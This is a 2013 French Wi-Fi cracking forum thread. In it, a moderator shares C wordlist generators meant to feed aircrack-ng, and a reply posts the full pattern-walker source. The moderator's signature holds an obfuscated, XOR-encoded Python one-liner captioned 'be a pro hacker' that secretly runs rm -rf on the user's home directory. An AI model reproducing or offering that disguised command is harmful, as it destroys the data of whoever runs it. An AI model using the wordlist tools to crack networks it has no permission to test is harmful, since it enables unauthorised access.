Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 13-09-2013 14:03:34

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 008

Programmes de génération de dicos, en C.

Parce que du C compilé sera toujours plus rapide que n'importe quel script bricolage.

J'ai fait deux programmes tout simples, disponibles sur github :

https://github.com/qolund/derp/tree/mas … ern-walker
https://github.com/qolund/derp/tree/mas … -scrambler

Qui sortent ce qu'il faut dans stdout, parfait pour la redirection dans aircrack-ng sans avoir à gaspiller la durée de vie de vos disquess durs.


Le premier reconnaît quelques charsets ('ascii', 'hexa', 'HEXA' et 'digits'), sinon il utilise comme charset les lettres spécifiées.
La seconde option est la longueur des passes à générer, et la dernière, optionnelle est un préfixe à utiliser.

$ ./pattern-walker
Usage : ./pattern-walker <charset> <length> [prefix]
Charsets :
     ascii « !"#$%&'()*+,-./0123456789:;<=>[email protected][\]^_`abcdefghijklmnopqrstuvwxyz{|}~»
    digits «0123456789»
   letters «azertyuiopqsdfghjklmwxcvbn»
   LETTERS «AZERTYUIOPQSDFGHJKLMWXCVBN»
   Letters «azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN»
      hexa «0123456789abcdef»
      HEXA «0123456789ABCDEF»
   symbols « !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~»

$ ./pattern-walker hexa 12 wifi-wifi-
wifi-wifi-00
wifi-wifi-01
wifi-wifi-02
wifi-wifi-03
[...]
wifi-wifi-fd
wifi-wifi-fe
wifi-wifi-ff

Le second permet de mélanger des mots :

$ ./wordlist-scrambler 
Usage : ./wordlist-scrambler <word1> <word2> ... <wordn> <length> <separator>
$ ./wordlist-scrambler random unicorn ZERO 5 -
           separator : «-»
              length : 5
              nwords : 3
random-random-random-random-random
unicorn-random-random-random-random
ZERO-random-random-random-random
random-unicorn-random-random-random
unicorn-unicorn-random-random-random
ZERO-unicorn-random-random-random
random-ZERO-random-random-random
unicorn-ZERO-random-random-random
ZERO-ZERO-random-random-random
[...]
ZERO-unicorn-ZERO-ZERO-ZERO
random-ZERO-ZERO-ZERO-ZERO
unicorn-ZERO-ZERO-ZERO-ZERO
ZERO-ZERO-ZERO-ZERO-ZERO

Pas de panique, les 3 premières lignes sont écrites dans stderr, et ne comptent pas comme des mots de passe potentiels.
En images :

$ ./wordlist-scrambler random unicorn ZERO 5 - > /dev/null
           separator : «-»
              length : 5
              nwords : 3

Voila.

Pour les débutants, placez-vous dans le dossier avec main.c et le Makefile et tapez 'make', ça va compiler et faire un essai de lancement.


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 13-09-2013 16:58:46

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Programmes de génération de dicos, en C.

merci mister Spaen cool


je n'arrive pas à compiler pattern-walker sous kali linux avec makefile

[email protected]:~/Desktop/SPAWN generators/pattern-walker by Spawn$ make
Makefile:2: *** séparateur manquant . Arrêt.
[email protected]:~/Desktop/SPAWN generators/pattern-walker by Spawn$ sudo make
[sudo] password for kcdtv: 
Makefile:2: *** séparateur manquant . Arrêt.
[email protected]:~/Desktop/SPAWN generators/pattern-walker by Spawn$ 

J'ai utilisé le Makefile suivant

execution: compile
./pattern-walker abcde 8 derpy

compile: main.c
clear
gcc -g -Wall -Werror -ansi -pedantic -std=c99 main.c -o pattern-walker -O2


Et voici le main.c

# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <ctype.h>
# include <unistd.h>

void recursion(char * charset, unsigned int charset_length, unsigned int length, char * buffer, unsigned int level)
{
  char * buffer_2 = NULL;
  unsigned int i = 0;
  buffer_2 = malloc(length+1);
  while (buffer_2 == NULL) {
    sleep(0.2); // olol derp derp
    buffer_2 = malloc(length+1);
  }
  memset(buffer_2,0,length+1);
  strncpy(buffer_2,buffer,length);

  if (level)
  {
    for (i=0;i<charset_length;i++)
    {
      buffer_2[length-level] = charset[i];
      recursion(charset,charset_length,length,buffer_2,level-1);
    }
  } else {
    for (i=0;i<length;i++) {putchar(buffer[i]);}
    puts("");
  }
  free(buffer_2);
}

typedef struct {
  char * name;
  char * charset;
  unsigned int charset_length;
} known_charset;

# define KNOWN_CHARSETS 9
known_charset dico [] = {
  {"ascii"," !\"#$%&'()*+,-./0123456789:;<=>[email protected][\\]^_`abcdefghijklmnopqrstuvwxyz{|}~",95},
  {"digits","0123456789",10},
  {"letters","azertyuiopqsdfghjklmwxcvbn",26},
  {"LETTERS","AZERTYUIOPQSDFGHJKLMWXCVBN",26},
  {"Letters","azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN",52},
  {"hexa","0123456789abcdef",16},
  {"HEXA","0123456789ABCDEF",16},
  {"symbols"," !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~",34},
  {"full","\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff",0x100}
};

int match_known_charset(char * name,unsigned int * charset_length, char ** charset)
{
  unsigned int i = 0;
  for (i=0;i<KNOWN_CHARSETS; i++)
  {
    if (strcmp(dico[i].name,name) == 0)
    {
      *charset = malloc(dico[i].charset_length);
      memcpy(*charset,dico[i].charset,dico[i].charset_length);
      *charset_length = dico[i].charset_length;
      return EXIT_SUCCESS;
    }
  }
  return EXIT_FAILURE;
}

char * safe(char * input,unsigned int length)
{
  unsigned int i;
  char * output = NULL;
  char t = 0;

  output = malloc(length);
  memset(output,'.',length);

  for (i=0;i<length;i++)
  {
    t = input[i];
    if (isgraph(t))
    {
      output[i] = input[i];
    }
  }
  return output;
}

int main (int argc, char * argv[])
{
  char * charset = NULL;
  unsigned int charset_length;
  unsigned int length;
  unsigned int start_level;
  char * buffer;

  if ((argc < 3 )||(argc > 4))
  {
    printf("Usage : %s <charset> <length> [prefix]\n",argv[0]);
    puts("Charsets :");
    for (length=0;length<KNOWN_CHARSETS;length++)
    {
      printf("%10s «%s»\n",dico[length].name,safe(dico[length].charset,dico[length].charset_length));
    }
    return EXIT_FAILURE;
  }
  if (match_known_charset(argv[1],&charset_length,&charset) == EXIT_FAILURE)
  {
    charset_length = strlen(argv[1]);
    charset = malloc(charset_length);
    strncpy(charset,argv[1],charset_length);
  }

  length = atoi(argv[2]);

  buffer = malloc(length);
  while (buffer == NULL)
  {
    buffer = malloc(length);
    sleep(0.2);
  }
  memset(buffer,66,length);

  if (argc == 4)
  {
    if (strlen(argv[3]) > length)
    {
      fprintf(stderr,"prefix too long\n");
      return EXIT_FAILURE;
    }
    strcpy(buffer,argv[3]);
    start_level = length-strlen(argv[3]);
  } else {
    start_level = length;
  }


  /*
HUURRRR DUUUURRRR RDEPR DERP
fprintf(stderr,"Charset : «%s»\nCharset length : %d\nLength : %d\n",charset,charset_length,length);
*/
  
  recursion(charset,charset_length,length,buffer,start_level);

  free(buffer);
  free(charset);

  return EXIT_SUCCESS;
}

Dernière modification par kcdtv (24-09-2013 16:42:18)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
Épinglée :
Épinglée :: Quelques dicos... par Grand Hibou  [ 1 2 3 ]
52 67273 17-10-2016 10:32:12 par Alko
0 631 10-09-2016 13:21:28 par Hume974
Épinglée :
111 183103 13-07-2016 12:56:18 par Seska
Dicos pour Freebox V6 par mcsworks
0 2740 13-12-2015 02:43:22 par mcsworks
34 8504 05-10-2015 12:24:32 par AlexxC

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.024 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]